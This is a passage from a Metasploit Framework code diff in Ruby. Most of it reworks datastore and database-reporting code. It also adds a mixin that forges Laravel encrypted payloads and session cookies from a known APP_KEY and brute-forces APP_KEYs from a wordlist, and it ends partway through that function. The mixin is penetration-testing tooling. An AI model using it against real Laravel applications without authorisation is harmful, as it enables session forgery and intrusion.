def each_key(&block)
|
||||
self.keys.each(&block)
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive key lookup
|
||||
#
|
||||
# @return [String]
|
||||
def find_key_case(k)
|
||||
|
||||
# Scan each alias looking for a key
|
||||
search_k = k.downcase
|
||||
if self.aliases.has_key?(search_k)
|
||||
search_k = self.aliases[search_k]
|
||||
end
|
||||
|
||||
# Check to see if we have an exact key match - otherwise we'll have to search manually to check case sensitivity
|
||||
if @user_defined.key?(search_k) || options.key?(search_k)
|
||||
return search_k
|
||||
end
|
||||
|
||||
# Scan each key looking for a match
|
||||
self.each_key do |rk|
|
||||
each_key do |rk|
|
||||
if rk.casecmp(search_k) == 0
|
||||
return rk
|
||||
end
|
||||
end
|
||||
|
||||
# Fall through to the non-existent value
|
||||
return k
|
||||
k
|
||||
end
|
||||
|
||||
# Search for a value within the current datastore, taking into consideration any registered aliases, fallbacks, etc.
|
||||
#
|
||||
# @param [String] key The key to search for
|
||||
# @return [DataStoreSearchResult]
|
||||
def search_for(key)
|
||||
k = find_key_case(key)
|
||||
return search_result(:user_defined, @user_defined[k]) if @user_defined.key?(k)
|
||||
|
||||
option = @options.fetch(k) { @options.find { |option_name, _option| option_name.casecmp?(k) }&.last }
|
||||
if option
|
||||
# If the key isn't present - check any additional fallbacks that have been registered with the option.
|
||||
# i.e. handling the scenario of SMBUser not being explicitly set, but the option has registered a more
|
||||
# generic 'Username' fallback
|
||||
option.fallbacks.each do |fallback|
|
||||
fallback_search = search_for(fallback)
|
||||
if fallback_search.found?
|
||||
return search_result(:option_fallback, fallback_search.value, fallback_key: fallback)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Checking for imported default values, ignoring case again
|
||||
imported_default_match = @defaults.find { |default_key, _default_value| default_key.casecmp?(k) }
|
||||
return search_result(:imported_default, imported_default_match.last) if imported_default_match
|
||||
return search_result(:option_default, option.default) if option
|
||||
|
||||
search_result(:not_found, nil)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# These defaults will be used if the user has not explicitly defined a specific datastore value.
|
||||
# These will be checked as a priority to any options that also provide defaults.
|
||||
#
|
||||
# @return [Hash{String => Msf::OptBase}] The hash of default values
|
||||
attr_accessor :defaults
|
||||
|
||||
# @return [Hash{String => String}] The key is the old option name, the value is the new option name
|
||||
attr_accessor :aliases
|
||||
|
||||
#
|
||||
# Copy the state from the other Msf::DataStore. The state will be coped in a shallow fashion, other than
|
||||
# imported and user_defined strings.
|
||||
#
|
||||
# @param [Msf::DataStore] other The other datastore to copy state from
|
||||
# @return [Msf::DataStore] the current datastore instance
|
||||
def copy_state(other)
|
||||
self.options = other.options.dup
|
||||
self.aliases = other.aliases.dup
|
||||
self.defaults = other.defaults.transform_values { |value| value.kind_of?(String) ? value.dup : value }
|
||||
self.user_defined = other.user_defined.transform_values { |value| value.kind_of?(String) ? value.dup : value }
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Raised when the specified key is not found
|
||||
# @param [string] key
|
||||
def key_error_for(key)
|
||||
::KeyError.new "key not found: #{key.inspect}"
|
||||
end
|
||||
|
||||
#
|
||||
# Simple dataclass for storing the result of a datastore search
|
||||
#
|
||||
class DataStoreSearchResult
|
||||
# @return [String, nil] the key associated with the fallback value
|
||||
attr_reader :fallback_key
|
||||
|
||||
# @return [object, nil] The value if found
|
||||
attr_reader :value
|
||||
|
||||
def initialize(result, value, namespace: nil, fallback_key: nil)
|
||||
@namespace = namespace
|
||||
@result = result
|
||||
@value = value
|
||||
@fallback_key = fallback_key
|
||||
end
|
||||
|
||||
def default?
|
||||
result == :imported_default || result == :option_default || !found?
|
||||
end
|
||||
|
||||
def found?
|
||||
result != :not_found
|
||||
end
|
||||
|
||||
def fallback?
|
||||
result == :option_fallback
|
||||
end
|
||||
|
||||
def global?
|
||||
namespace == :global_data_store && found?
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# @return [Symbol] namespace Where the search result was found, i.e. a module datastore or global datastore
|
||||
attr_reader :namespace
|
||||
|
||||
# @return [Symbol] result is one of `user_defined`, `not_found`, `option_fallback`, `option_default`, `imported_default`
|
||||
attr_reader :result
|
||||
end
|
||||
|
||||
def search_result(result, value, fallback_key: nil)
|
||||
DataStoreSearchResult.new(result, value, namespace: :global_data_store, fallback_key: fallback_key)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -1,547 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# The data store is just a bitbucket that holds keyed values. It is used
|
||||
# by various classes to hold option values and other state information.
|
||||
#
|
||||
###
|
||||
class DataStoreWithFallbacks
|
||||
|
||||
# The global framework datastore doesn't currently import options
|
||||
# For now, store an ad-hoc list of keys that the shell handles
|
||||
#
|
||||
# This list could be removed if framework's bootup sequence registers
|
||||
# these as datastore options
|
||||
GLOBAL_KEYS = %w[
|
||||
ConsoleLogging
|
||||
LogLevel
|
||||
MinimumRank
|
||||
SessionLogging
|
||||
TimestampOutput
|
||||
Prompt
|
||||
PromptChar
|
||||
PromptTimeFormat
|
||||
MeterpreterPrompt
|
||||
SessionTlvLogging
|
||||
]
|
||||
|
||||
#
|
||||
# Initializes the data store's internal state.
|
||||
#
|
||||
def initialize
|
||||
@options = Hash.new
|
||||
@aliases = Hash.new
|
||||
|
||||
# default values which will be referenced when not defined by the user
|
||||
@defaults = Hash.new
|
||||
|
||||
# values explicitly defined, which take precedence over default values
|
||||
@user_defined = Hash.new
|
||||
end
|
||||
|
||||
# @return [Hash{String => Msf::OptBase}] The options associated with this datastore. Used for validating values/defaults/etc
|
||||
attr_accessor :options
|
||||
|
||||
#
|
||||
# Returns a hash of user-defined datastore values. The returned hash does
|
||||
# not include default option values.
|
||||
#
|
||||
# @return [Hash<String, Object>] values explicitly defined on the data store which will override any default datastore values
|
||||
attr_accessor :user_defined
|
||||
|
||||
#
|
||||
# Was this entry actually set or just using its default
|
||||
#
|
||||
# @return [TrueClass, FalseClass]
|
||||
def default?(key)
|
||||
search_for(key).default?
|
||||
end
|
||||
|
||||
#
|
||||
# Clears the imported flag for the supplied key since it's being set
|
||||
# directly.
|
||||
#
|
||||
def []=(k, v)
|
||||
k = find_key_case(k)
|
||||
|
||||
opt = @options[k]
|
||||
unless opt.nil?
|
||||
if opt.validate_on_assignment?
|
||||
unless opt.valid?(v, check_empty: false)
|
||||
raise Msf::OptionValidateError.new(["Value '#{v}' is not valid for option '#{k}'"])
|
||||
end
|
||||
v = opt.normalize(v)
|
||||
end
|
||||
end
|
||||
|
||||
@user_defined[k] = v
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive wrapper around hash lookup
|
||||
#
|
||||
def [](k)
|
||||
search_result = search_for(k)
|
||||
|
||||
search_result.value
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive wrapper around store; Skips option validation entirely
|
||||
#
|
||||
def store(k,v)
|
||||
@user_defined[find_key_case(k)] = v
|
||||
end
|
||||
|
||||
#
|
||||
# Updates a value in the datastore with the specified name, k, to the
|
||||
# specified value, v. Skips option validation entirely.
|
||||
#
|
||||
def update_value(k, v)
|
||||
store(k, v)
|
||||
end
|
||||
|
||||
#
|
||||
# unset the current key from the datastore
|
||||
# @param [String] key The key to search for
|
||||
def unset(key)
|
||||
k = find_key_case(key)
|
||||
search_result = search_for(k)
|
||||
@user_defined.delete(k)
|
||||
|
||||
search_result.value
|
||||
end
|
||||
|
||||
# @deprecated use #{unset} instead, or set the value explicitly to nil
|
||||
# @param [String] key The key to search for
|
||||
def delete(key)
|
||||
unset(key)
|
||||
end
|
||||
|
||||
#
|
||||
# Removes an option and any associated value
|
||||
#
|
||||
# @param [String] name the option name
|
||||
# @return [nil]
|
||||
def remove_option(name)
|
||||
k = find_key_case(name)
|
||||
@user_defined.delete(k)
|
||||
@aliases.delete_if { |_, v| v.casecmp?(k) }
|
||||
@options.delete_if { |option_name, _v| option_name.casecmp?(k) || option_name.casecmp?(name) }
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
# This method is a helper method that imports the default value for
|
||||
# all of the supplied options
|
||||
#
|
||||
def import_options(options, imported_by = nil, overwrite = true)
|
||||
options.each_option do |name, option|
|
||||
if self.options[name].nil? || overwrite
|
||||
key = name
|
||||
option.aliases.each do |a|
|
||||
@aliases[a.downcase] = key.downcase
|
||||
end
|
||||
@options[key] = option
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Imports option values from a whitespace separated string in
|
||||
# VAR=VAL format.
|
||||
#
|
||||
def import_options_from_s(option_str, delim = nil)
|
||||
hash = {}
|
||||
|
||||
# Figure out the delimiter, default to space.
|
||||
if (delim.nil?)
|
||||
delim = /\s/
|
||||
|
||||
if (option_str.split('=').length <= 2 or option_str.index(',') != nil)
|
||||
delim = ','
|
||||
end
|
||||
end
|
||||
|
||||
# Split on the delimiter
|
||||
option_str.split(delim).each { |opt|
|
||||
var, val = opt.split('=', 2)
|
||||
|
||||
next if (var =~ /^\s+$/)
|
||||
|
||||
|
||||
# Invalid parse? Raise an exception and let those bastards know.
|
||||
if (var == nil or val == nil)
|
||||
var = "unknown" if (!var)
|
||||
|
||||
raise Rex::ArgumentParseError, "Invalid option specified: #{var}",
|
||||
caller
|
||||
end
|
||||
|
||||
# Remove trailing whitespaces from the value
|
||||
val.gsub!(/\s+$/, '')
|
||||
|
||||
# Store the value
|
||||
hash[var] = val
|
||||
}
|
||||
|
||||
merge!(hash)
|
||||
end
|
||||
|
||||
#
|
||||
# Imports values from a hash and stores them in the datastore.
|
||||
#
|
||||
# @deprecated use {#merge!} instead
|
||||
# @return [nil]
|
||||
def import_options_from_hash(option_hash, imported = true, imported_by = nil)
|
||||
merge!(option_hash)
|
||||
end
|
||||
|
||||
# Update defaults from a hash. These merged values are not validated by default.
|
||||
#
|
||||
# @param [Hash<String, Object>] hash The default values that should be used by the datastore
|
||||
# @param [Object] imported_by Who imported the defaults, not currently used
|
||||
# @return [nil]
|
||||
def import_defaults_from_hash(hash, imported_by:)
|
||||
@defaults.merge!(hash)
|
||||
end
|
||||
|
||||
# TODO: Doesn't normalize data in the same vein as:
|
||||
# https://github.com/rapid7/metasploit-framework/pull/6644
|
||||
# @deprecated Use {#import_options}
|
||||
def import_option(key, val, imported = true, imported_by = nil, option = nil)
|
||||
store(key, val)
|
||||
|
||||
if option
|
||||
option.aliases.each do |a|
|
||||
@aliases[a.downcase] = key.downcase
|
||||
end
|
||||
end
|
||||
@options[key] = option
|
||||
end
|
||||
|
||||
# @return [Array<String>] The array of user defined datastore values, and registered option names
|
||||
def keys
|
||||
(@user_defined.keys + @options.keys).uniq(&:downcase)
|
||||
end
|
||||
|
||||
# @return [Integer] The length of the registered keys
|
||||
def length
|
||||
keys.length
|
||||
end
|
||||
|
||||
alias count length
|
||||
alias size length
|
||||
|
||||
# @param [String] key
|
||||
# @return [TrueClass, FalseClass] True if the key is present in the user defined values, or within registered options. False otherwise.
|
||||
def key?(key)
|
||||
matching_key = find_key_case(key)
|
||||
keys.include?(matching_key)
|
||||
end
|
||||
|
||||
alias has_key? key?
|
||||
alias include? key?
|
||||
alias member? key?
|
||||
|
||||
#
|
||||
# Serializes the options in the datastore to a string.
|
||||
#
|
||||
def to_s(delim = ' ')
|
||||
str = ''
|
||||
|
||||
keys.sort.each { |key|
|
||||
str << "#{key}=#{self[key]}" + ((str.length) ? delim : '')
|
||||
}
|
||||
|
||||
str
|
||||
end
|
||||
|
||||
# Override Hash's to_h method so we can include the original case of each key
|
||||
# (failing to do this breaks a number of places in framework and pro that use
|
||||
# serialized datastores)
|
||||
def to_h
|
||||
datastore_hash = {}
|
||||
self.keys.each do |k|
|
||||
datastore_hash[k.to_s] = self[k].to_s
|
||||
end
|
||||
datastore_hash
|
||||
end
|
||||
|
||||
# Hack on a hack for the external modules
|
||||
def to_external_message_h
|
||||
datastore_hash = {}
|
||||
|
||||
array_nester = ->(arr) do
|
||||
if arr.first.is_a? Array
|
||||
arr.map &array_nester
|
||||
else
|
||||
arr.map { |item| item.to_s.dup.force_encoding('UTF-8') }
|
||||
end
|
||||
end
|
||||
|
||||
self.keys.each do |k|
|
||||
# TODO arbitrary depth
|
||||
if self[k].is_a? Array
|
||||
datastore_hash[k.to_s.dup.force_encoding('UTF-8')] = array_nester.call(self[k])
|
||||
else
|
||||
datastore_hash[k.to_s.dup.force_encoding('UTF-8')] = self[k].to_s.dup.force_encoding('UTF-8')
|
||||
end
|
||||
end
|
||||
datastore_hash
|
||||
end
|
||||
|
||||
#
|
||||
# Persists the contents of the data store to a file
|
||||
#
|
||||
def to_file(path, name = 'global')
|
||||
ini = Rex::Parser::Ini.new(path)
|
||||
|
||||
ini.add_group(name)
|
||||
|
||||
# Save all user-defined options to the file.
|
||||
@user_defined.each_pair { |k, v|
|
||||
ini[name][k] = v
|
||||
}
|
||||
|
||||
ini.to_file(path)
|
||||
end
|
||||
|
||||
#
|
||||
# Imports datastore values from the specified file path using the supplied
|
||||
# name
|
||||
#
|
||||
def from_file(path, name = 'global')
|
||||
begin
|
||||
ini = Rex::Parser::Ini.from_file(path)
|
||||
rescue
|
||||
return
|
||||
end
|
||||
|
||||
if ini.group?(name)
|
||||
merge!(ini[name])
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Return a copy of this datastore. Only string values will be duplicated, other values
|
||||
# will share the same reference
|
||||
# @return [Msf::DataStore] a new datastore instance
|
||||
def copy
|
||||
new_instance = self.class.new
|
||||
new_instance.copy_state(self)
|
||||
new_instance
|
||||
end
|
||||
|
||||
#
|
||||
# Merge the other object into the current datastore's aliases and imported hashes
|
||||
#
|
||||
# @param [Msf::Datastore, Hash] other
|
||||
def merge!(other)
|
||||
if other.is_a?(DataStoreWithFallbacks)
|
||||
self.aliases.merge!(other.aliases)
|
||||
self.options.merge!(other.options)
|
||||
self.defaults.merge!(other.defaults)
|
||||
other.user_defined.each do |k, v|
|
||||
@user_defined[find_key_case(k)] = v
|
||||
end
|
||||
else
|
||||
other.each do |k, v|
|
||||
self.store(k, v)
|
||||
end
|
||||
end
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
alias update merge!
|
||||
|
||||
#
|
||||
# Reverse Merge the other object into the current datastore's aliases and imported hashes
|
||||
# Equivalent to ActiveSupport's reverse_merge! functionality.
|
||||
#
|
||||
# @param [Msf::Datastore] other
|
||||
def reverse_merge!(other)
|
||||
raise ArgumentError, "invalid error type #{other.class}, expected ::Msf::DataStore" unless other.is_a?(Msf::DataStoreWithFallbacks)
|
||||
|
||||
copy_state(other.merge(self))
|
||||
end
|
||||
|
||||
#
|
||||
# Override merge to ensure we merge the aliases and imported hashes
|
||||
#
|
||||
# @param [Msf::Datastore,Hash] other
|
||||
def merge(other)
|
||||
ds = self.copy
|
||||
ds.merge!(other)
|
||||
end
|
||||
|
||||
#
|
||||
# Completely clear all values in the data store
|
||||
#
|
||||
def clear
|
||||
self.options.clear
|
||||
self.aliases.clear
|
||||
self.defaults.clear
|
||||
self.user_defined.clear
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
#
|
||||
# Overrides the builtin 'each' operator to avoid the following exception on Ruby 1.9.2+
|
||||
# "can't add a new key into hash during iteration"
|
||||
#
|
||||
def each(&block)
|
||||
list = []
|
||||
self.keys.sort.each do |sidx|
|
||||
list << [sidx, self[sidx]]
|
||||
end
|
||||
list.each(&block)
|
||||
end
|
||||
|
||||
alias each_pair each
|
||||
|
||||
def each_key(&block)
|
||||
self.keys.each(&block)
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive key lookup
|
||||
#
|
||||
# @return [String]
|
||||
def find_key_case(k)
|
||||
# Scan each alias looking for a key
|
||||
search_k = k.downcase
|
||||
if self.aliases.has_key?(search_k)
|
||||
search_k = self.aliases[search_k]
|
||||
end
|
||||
|
||||
# Check to see if we have an exact key match - otherwise we'll have to search manually to check case sensitivity
|
||||
if @user_defined.key?(search_k) || options.key?(search_k)
|
||||
return search_k
|
||||
end
|
||||
|
||||
# Scan each key looking for a match
|
||||
each_key do |rk|
|
||||
if rk.casecmp(search_k) == 0
|
||||
return rk
|
||||
end
|
||||
end
|
||||
|
||||
# Fall through to the non-existent value
|
||||
k
|
||||
end
|
||||
|
||||
# Search for a value within the current datastore, taking into consideration any registered aliases, fallbacks, etc.
|
||||
#
|
||||
# @param [String] key The key to search for
|
||||
# @return [DataStoreSearchResult]
|
||||
def search_for(key)
|
||||
k = find_key_case(key)
|
||||
return search_result(:user_defined, @user_defined[k]) if @user_defined.key?(k)
|
||||
|
||||
option = @options.fetch(k) { @options.find { |option_name, _option| option_name.casecmp?(k) }&.last }
|
||||
if option
|
||||
# If the key isn't present - check any additional fallbacks that have been registered with the option.
|
||||
# i.e. handling the scenario of SMBUser not being explicitly set, but the option has registered a more
|
||||
# generic 'Username' fallback
|
||||
option.fallbacks.each do |fallback|
|
||||
fallback_search = search_for(fallback)
|
||||
if fallback_search.found?
|
||||
return search_result(:option_fallback, fallback_search.value, fallback_key: fallback)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Checking for imported default values, ignoring case again
|
||||
imported_default_match = @defaults.find { |default_key, _default_value| default_key.casecmp?(k) }
|
||||
return search_result(:imported_default, imported_default_match.last) if imported_default_match
|
||||
return search_result(:option_default, option.default) if option
|
||||
|
||||
search_result(:not_found, nil)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# These defaults will be used if the user has not explicitly defined a specific datastore value.
|
||||
# These will be checked as a priority to any options that also provide defaults.
|
||||
#
|
||||
# @return [Hash{String => Msf::OptBase}] The hash of default values
|
||||
attr_accessor :defaults
|
||||
|
||||
# @return [Hash{String => String}] The key is the old option name, the value is the new option name
|
||||
attr_accessor :aliases
|
||||
|
||||
#
|
||||
# Copy the state from the other Msf::DataStore. The state will be coped in a shallow fashion, other than
|
||||
# imported and user_defined strings.
|
||||
#
|
||||
# @param [Msf::DataStore] other The other datastore to copy state from
|
||||
# @return [Msf::DataStore] the current datastore instance
|
||||
def copy_state(other)
|
||||
self.options = other.options.dup
|
||||
self.aliases = other.aliases.dup
|
||||
self.defaults = other.defaults.transform_values { |value| value.kind_of?(String) ? value.dup : value }
|
||||
self.user_defined = other.user_defined.transform_values { |value| value.kind_of?(String) ? value.dup : value }
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Raised when the specified key is not found
|
||||
# @param [string] key
|
||||
def key_error_for(key)
|
||||
::KeyError.new "key not found: #{key.inspect}"
|
||||
end
|
||||
|
||||
#
|
||||
# Simple dataclass for storing the result of a datastore search
|
||||
#
|
||||
class DataStoreSearchResult
|
||||
# @return [String, nil] the key associated with the fallback value
|
||||
attr_reader :fallback_key
|
||||
|
||||
# @return [object, nil] The value if found
|
||||
attr_reader :value
|
||||
|
||||
def initialize(result, value, namespace: nil, fallback_key: nil)
|
||||
@namespace = namespace
|
||||
@result = result
|
||||
@value = value
|
||||
@fallback_key = fallback_key
|
||||
end
|
||||
|
||||
def default?
|
||||
result == :imported_default || result == :option_default || !found?
|
||||
end
|
||||
|
||||
def found?
|
||||
result != :not_found
|
||||
end
|
||||
|
||||
def fallback?
|
||||
result == :option_fallback
|
||||
end
|
||||
|
||||
def global?
|
||||
namespace == :global_data_store && found?
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# @return [Symbol] namespace Where the search result was found, i.e. a module datastore or global datastore
|
||||
attr_reader :namespace
|
||||
|
||||
# @return [Symbol] result is one of `user_defined`, `not_found`, `option_fallback`, `option_default`, `imported_default`
|
||||
attr_reader :result
|
||||
end
|
||||
|
||||
def search_result(result, value, fallback_key: nil)
|
||||
DataStoreSearchResult.new(result, value, namespace: :global_data_store, fallback_key: fallback_key)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
@@ -408,13 +408,16 @@ module Msf::DBManager::ModuleCache
|
||||
end
|
||||
end
|
||||
|
||||
# 3) Insert all of the associations
|
||||
# 3) Insert the child associations
|
||||
associations.each do |association_clazz, entries|
|
||||
next if entries.empty?
|
||||
|
||||
association_clazz.insert_all!(entries)
|
||||
end
|
||||
|
||||
# 4) Mark the parent models as ready - to avoid repopulating the cache again
|
||||
Mdm::Module::Detail.where(id: module_detail_ids).update_all(ready: true)
|
||||
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
@@ -48,6 +48,7 @@ module Msf::DBManager::Service
|
||||
# +:info+:: Detailed information about the service such as name and version information
|
||||
# +:state+:: The current listening state of the service (one of: open, closed, filtered, unknown)
|
||||
#
|
||||
# @return [Mdm::Service,nil]
|
||||
def report_service(opts)
|
||||
return if !active
|
||||
::ApplicationRecord.connection_pool.with_connection { |conn|
|
||||
@@ -81,8 +82,6 @@ module Msf::DBManager::Service
|
||||
return nil
|
||||
end
|
||||
|
||||
ret = {}
|
||||
|
||||
proto = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
|
||||
|
||||
service = host.services.where(port: opts[:port].to_i, proto: proto).first_or_initialize
|
||||
@@ -116,13 +115,13 @@ module Msf::DBManager::Service
|
||||
end
|
||||
|
||||
if opts[:task]
|
||||
Mdm::TaskService.create(
|
||||
Mdm::TaskService.where(
|
||||
:task => opts[:task],
|
||||
:service => service
|
||||
)
|
||||
).first_or_create
|
||||
end
|
||||
|
||||
ret[:service] = service
|
||||
service
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
@@ -223,6 +223,10 @@ module Msf::DBManager::Vuln
|
||||
# Set the exploited_at value if provided
|
||||
vuln.exploited_at = exploited_at if exploited_at
|
||||
|
||||
# Vuln origin ignored, rationale:
|
||||
# https://github.com/rapid7/metasploit-framework/pull/19817#issuecomment-2615656036
|
||||
# vuln.origin = opts[:origin] if opts[:origin]
|
||||
|
||||
# Merge the references
|
||||
if rids
|
||||
vuln.refs << (rids - vuln.refs)
|
||||
|
||||
@@ -0,0 +1,204 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'cgi'
|
||||
|
||||
###
|
||||
# This mixin module provides methods to exploit bad implementations of decryption mechanisms in Laravel applications.
|
||||
# This tool was firstly designed to craft payloads targeting the Laravel `decrypt()` function from the package `Illuminate\Encryption`.
|
||||
# It can also be used to decrypt any data encrypted via `encrypt()` or `encryptString()`.
|
||||
# The tool requires a valid `APP_KEY` to be used, you can also try to bruteforce them if you think there is a potential key reuse
|
||||
# from a public project for example.
|
||||
# Original authors of the tool: `@_remsio_` `@Kainx42` from SynActiv.
|
||||
# Orignal python code can be found here: https://github.com/synacktiv/laravel-crypto-killer
|
||||
# Recoded in Ruby by h00die-gr3y (h00die.gr3y[at]gmail.com)
|
||||
###
|
||||
module Msf::Exploit::LaravelCryptoKiller
|
||||
# Check if cipher is valid
|
||||
# @param [String] <cipher_mode> The cipher_mode
|
||||
#
|
||||
# @return [Boolean] true if mode is ok or false if mode is not valid
|
||||
def valid_cipher?(cipher_mode)
|
||||
ciphers ||= OpenSSL::Cipher.ciphers
|
||||
ciphers.include?(cipher_mode.downcase)
|
||||
end
|
||||
|
||||
# Perform AES encryption in CBC mode (compatible with Laravel)
|
||||
# @param [String] <value> The value that will be encrypted
|
||||
# @param [String] <iv> The IV parameter used for encryption
|
||||
# @param [String] <key> The key used for encryption
|
||||
# @param [String] <cipher_mode> Cipher_mode used for encryption (AES-256-CBC)
|
||||
#
|
||||
# @return [String] The encrypted value or nil if unsuccessful
|
||||
def aes_encrypt(value, iv, key, cipher_mode)
|
||||
# Check cipher mode
|
||||
unless valid_cipher?(cipher_mode)
|
||||
vprint_error("Cipher is not valid: #{cipher_mode}")
|
||||
return
|
||||
end
|
||||
# Create a new AES cipher in CBC mode
|
||||
cipher = OpenSSL::Cipher.new(cipher_mode)
|
||||
cipher.encrypt
|
||||
cipher.key = key
|
||||
cipher.iv = iv
|
||||
|
||||
# Padding (similar to the pad lambda in Python)
|
||||
pad_length = 16 - (value.length % 16)
|
||||
padded_value = value + (pad_length.chr * pad_length)
|
||||
|
||||
# Encrypt the data
|
||||
cipher.update(padded_value)
|
||||
rescue StandardError => e
|
||||
vprint_error("AES encryption failed: #{e.message}")
|
||||
end
|
||||
|
||||
# Perform AES decryption in CBC mode (compatible with Laravel)
|
||||
# @param [String] <encrypted_value> Encrypted value that will be decrypted
|
||||
# @param [String] <iv> Random 16-byte IV parameter used for encryption
|
||||
# @param [String] <key> The key used for decryption
|
||||
# @param [String] <cipher_mode> Cipher_mode used for encryption (AES-256-CBC)
|
||||
#
|
||||
# @return [String] The decrypted value or nil if unsuccessful
|
||||
def aes_decrypt(encrypted_value, iv, key, cipher_mode)
|
||||
# Check cipher mode
|
||||
unless valid_cipher?(cipher_mode)
|
||||
vprint_error("Cipher is not valid: #{cipher_mode}")
|
||||
return
|
||||
end
|
||||
# Create AES cipher in CBC mode
|
||||
cipher = OpenSSL::Cipher.new(cipher_mode)
|
||||
cipher.decrypt
|
||||
cipher.key = key
|
||||
cipher.iv = iv
|
||||
|
||||
# Decrypt the value
|
||||
cipher.update(encrypted_value) + cipher.final
|
||||
rescue OpenSSL::Cipher::CipherError => e
|
||||
vprint_error("AES decryption failed: #{e.message}")
|
||||
end
|
||||
|
||||
# Encrypts a base64 string as a ciphered Laravel value
|
||||
# @param [String] <value> The base64-encode value that will be encrypted
|
||||
# @param [String] <key> The key used for decryption
|
||||
# @param [String] <cipher_mode> Cipher_mode used for encryption (AES-256-CBC)
|
||||
#
|
||||
# @return [String] The base64-encoded encrypted JSON.
|
||||
def laravel_encrypt(value_to_encrypt, key, cipher_mode)
|
||||
key = retrieve_key(key)
|
||||
iv = OpenSSL::Random.random_bytes(16) # Random 16-byte IV
|
||||
tmp_bytes = Base64.strict_encode64(aes_encrypt(Base64.strict_decode64(value_to_encrypt), iv, key, cipher_mode))
|
||||
|
||||
# Base64-encode the IV
|
||||
b64_iv = Base64.strict_encode64(iv).strip
|
||||
|
||||
# Prepare data for output
|
||||
data = {
|
||||
'iv' => b64_iv,
|
||||
'value' => tmp_bytes.strip,
|
||||
'mac' => generate_mac(key, b64_iv, tmp_bytes.strip),
|
||||
'tag' => '' # Assuming empty tag
|
||||
}
|
||||
# Return the final encrypted value as Base64-encoded JSON
|
||||
Base64.strict_encode64(data.to_json)
|
||||
end
|
||||
|
||||
# Encrypts a base64 string as a Laravel session cookie.
|
||||
# @param [String] <value_to_encrypt> The value that will be encrypted
|
||||
# @param [String] <hash_value> The decrypted value of the Laravel session cookie
|
||||
# @param [String] <key> The key used for decryption
|
||||
# @param [String] <cipher_mode> Cipher_mode used for encryption (AES-256-CBC)
|
||||
#
|
||||
# @return [String] The base64-encoded encrypted Laravel session_cookie value
|
||||
def laravel_encrypt_session_cookie(value_to_encrypt, hash_value, key, cipher_mode)
|
||||
decoded_value = Base64.strict_decode64(value_to_encrypt).force_encoding('utf-8')
|
||||
parsed_value = decoded_value.gsub('\\', '\\\\\\').gsub('"', '\\"').gsub(/\00/, '\\u0000')
|
||||
session_json_to_encrypt = "#{hash_value}|{\"data\":\"#{parsed_value}\",\"expires\":9999999999}"
|
||||
laravel_encrypt(Base64.strict_encode64(session_json_to_encrypt), key, cipher_mode)
|
||||
end
|
||||
|
||||
# Parses Laravel cipher data
|
||||
# @param [String] <laravel_cipher> The base64-encoded Laravel cipher data
|
||||
#
|
||||
# @return [String] The laravel parsed cipher data in JSON format or nil if unsuccessful
|
||||
def parse_laravel_cipher(laravel_cipher)
|
||||
laravel_cipher = CGI.unescape(laravel_cipher) # Decoding URL encoded string
|
||||
begin
|
||||
data = JSON.parse(Base64.strict_decode64(laravel_cipher))
|
||||
rescue JSON::ParserError
|
||||
vprint_error('The JSON inside your base64 is malformed')
|
||||
return
|
||||
rescue StandardError
|
||||
vprint_error('Your base64 laravel_cipher value is malformed')
|
||||
return
|
||||
end
|
||||
|
||||
data['value'] = Base64.strict_decode64(data['value'])
|
||||
data['iv'] = Base64.strict_decode64(data['iv'])
|
||||
data
|
||||
end
|
||||
|
||||
# Parse Laravel APP_KEY value
|
||||
# @param [String] <key> The Laravel APP_KEY
|
||||
#
|
||||
# @return [String] The Laravel parsed APP_KEY
|
||||
def retrieve_key(key)
|
||||
if key.start_with?('base64:')
|
||||
Base64.strict_decode64(key.split(':')[1])
|
||||
elsif key.length == 44
|
||||
Base64.strict_decode64(key)
|
||||
else
|
||||
key.encode('utf-8')
|
||||
end
|
||||
end
|
||||
|
||||
# Decrypts a Laravel ciphered string
|
||||
# @param [String] <laravel_cipher> The Laravel cipher to be decrypted
|
||||
# @param [String] <key> The key used for decryption
|
||||
# @param [String] <cipher_mode> Cipher_mode used for encryption (AES-256-CBC)
|
||||
#
|
||||
# @return [String] The decrypted Laravel cipher or nil if unsuccessful
|
||||
def laravel_decrypt(laravel_cipher, key, cipher_mode)
|
||||
data = parse_laravel_cipher(laravel_cipher)
|
||||
key = retrieve_key(key)
|
||||
|
||||
begin
|
||||
return aes_decrypt(data['value'], data['iv'], key, cipher_mode)
|
||||
rescue StandardError
|
||||
vprint_error('Your key is probably malformed or incorrect.')
|
||||
end
|
||||
end
|
||||
|
||||
# Uses an opened file containing a key on each line to perform a brute-force attack on a given value
|
||||
# @param [String] <value> The encrypted Laravel value
|
||||
# @param [String] <key_file> The file with Laravel APP_KEYs per line used for brute-force decryption
|
||||
# @param [String] <key> The key used for decryption
|
||||
# @param [String] <cipher_mode> Cipher_mode used for encryption (AES-256-CBC)
|
||||
#
|
||||
# @return [String] The valid key if it was identified with the value: {"key":<key>, "value":<value>}
|
||||
def laravel_bruteforce_from_file(value, key_file, cipher_mode)
|
||||
if !File.file?(key_file)
|
||||
return nil
|
||||
end
|
||||
|
||||
File.foreach(key_file) do |line|
|
||||
key = line.strip
|
||||
